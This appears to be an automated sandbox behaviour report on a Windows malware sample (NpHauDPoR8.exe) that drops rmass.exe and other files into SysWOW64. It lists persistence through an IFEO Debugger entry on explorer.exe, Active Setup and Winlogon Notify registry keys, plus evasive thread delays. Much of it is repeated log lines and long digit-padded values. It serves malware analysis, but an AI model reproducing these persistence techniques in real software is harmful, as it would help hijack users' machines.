Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: NpHauDPoR8.exe	ReversingLabs: Detection: 92%
Source: NpHauDPoR8.exe	Virustotal: Detection: 84%

Source: C:\Users\user\Desktop\NpHauDPoR8.exe

File read: C:\Users\user\Desktop\NpHauDPoR8.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\NpHauDPoR8.exe "C:\Users\user\Desktop\NpHauDPoR8.exe"
Source: C:\Users\user\Desktop\NpHauDPoR8.exe	Process created: C:\Windows\SysWOW64\rmass.exe "C:\Windows\system32\rmass.exe"
Source: C:\Windows\SysWOW64\rmass.exe	Process created: C:\Windows\SysWOW64\rmass.exe --k33p
Source: C:\Users\user\Desktop\NpHauDPoR8.exe	Process created: C:\Windows\SysWOW64\rmass.exe "C:\Windows\system32\rmass.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Process created: C:\Windows\SysWOW64\rmass.exe --k33p	Jump to behavior

Source: C:\Users\user\Desktop\NpHauDPoR8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NpHauDPoR8.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\NpHauDPoR8.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\NpHauDPoR8.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NpHauDPoR8.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: workfoldersshell.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mfsrcsnk.dll	Jump to behavior

Source: C:\Windows\SysWOW64\rmass.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\NpHauDPoR8.exe

Code function: 0_2_0040370C GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlAdjustPrivilege,GetProcAddress,GetProcAddress,NtQueryInformationToken,NtQueryInformationToken,CloseHandle,WSAStartup,GetTickCount,GetCurrentProcessId,GetCurrentThreadId,

0_2_0040370C

Source: ntdbg.exe.1.dr	Static PE information: real checksum: 0x7135 should be: 0x1321f
Source: RECOVER32.DLL.1.dr	Static PE information: real checksum: 0x10223 should be: 0x104b3
Source: rmass.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x15cce
Source: ahuy.exe.1.dr	Static PE information: real checksum: 0xb7ea should be: 0x1b178
Source: NpHauDPoR8.exe	Static PE information: real checksum: 0x0 should be: 0x15cce

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\SysWOW64\rmass.exe

Executable created and started: C:\Windows\SysWOW64\rmass.exe

Jump to behavior

Source: C:\Users\user\Desktop\NpHauDPoR8.exe	File created: C:\Windows\SysWOW64\rmass.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rmass.exe	File created: C:\Windows\SysWOW64\ntdbg.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rmass.exe	File created: C:\Windows\SysWOW64\RECOVER32.DLL	Jump to dropped file
Source: C:\Windows\SysWOW64\rmass.exe	File created: C:\Windows\SysWOW64\ahuy.exe	Jump to dropped file

Source: C:\Users\user\Desktop\NpHauDPoR8.exe	File created: C:\Windows\SysWOW64\rmass.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rmass.exe	File created: C:\Windows\SysWOW64\ntdbg.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rmass.exe	File created: C:\Windows\SysWOW64\RECOVER32.DLL	Jump to dropped file
Source: C:\Windows\SysWOW64\rmass.exe	File created: C:\Windows\SysWOW64\ahuy.exe	Jump to dropped file

Boot Survival

Creates a Image File Execution Options (IFEO) Debugger entry

Source: C:\Windows\SysWOW64\rmass.exe

Registry value created: C:\Windows\system32\ntdbg.exe

Jump to behavior

Creates an undocumented autostart registry key

Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe Debugger	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe Debugger	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{33303234-3934-3330-3234-393433303234} 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{33303234-3934-3330-3234-393433303234} 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{33303234-3934-3330-3234-393433303234} IsInstalled	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{33303234-3934-3330-3234-393433303234} IsInstalled	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{33303234-3934-3330-3234-393433303234} StubPath	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{33303234-3934-3330-3234-393433303234} StubPath	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} DLLName	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} DLLName	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} Startup	Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B} Startup	Jump to behavior

Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe 01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567			Jump to behavior
Source: C:\Windows\SysWOW64\rmass.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe Debugger			Jump to behavior

Source: C:\Windows\explorer.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Source: C:\Users\user\Desktop\NpHauDPoR8.exe

0_2_004035CF

Source: C:\Windows\SysWOW64\rmass.exe

Thread delayed: delay time: 600000

Jump to behavior

Source: C:\Windows\SysWOW64\rmass.exe	Window / User API: threadDelayed 4528	Jump to behavior
